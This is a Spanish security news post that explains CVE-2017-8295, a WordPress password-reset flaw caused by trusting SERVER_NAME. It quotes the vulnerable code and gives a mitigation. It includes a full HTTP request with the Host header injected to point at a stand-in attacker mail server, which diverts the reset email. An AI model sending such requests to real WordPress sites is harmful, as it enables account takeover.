6 may 2017

Todas las versiones de WordPress vulnerables a reset de contraseñas

El 3 de mayo, se publicó una nueva vulnerabilidad (CVE-2017-8295) que afecta a todas las versiones de Wordpress, incluyendo la última versión 4.7.4, que puede permitir a un atacante resetear remotamente la contraseña y acceder con cualquier usuario.

La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {

        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }
       
$from_email = 'wordpress@' . $sitename; }
Wordpress utiliza la variable SERVER_NAME para formar la cabecera From/Return-Path del correo.  El problema es que la mayoría de los servidores web, como Apache, por defecto setean SERVER_NAME con el hostname provisto por el cliente (dentro de la cabecera HTTP_HOST):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password
Y el resultado es que $from_email en Wordpress será: [email protected]

De esta manera, se generará un correo saliente con esa dirección en From/Return-Path.

En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.

De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.

Actualización: como puede verse, es necesario un componente de ingeniería social para engañar a la víctima a que haga clic sobre el enlace recibido.

Referencia:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

Contenido completo en fuente original HackPlayers

Suscríbete a nuestro Boletín

0 Comments:

Publicar un comentario

Gracias por dejar un comentario en Segu-Info.

Gracias por comentar!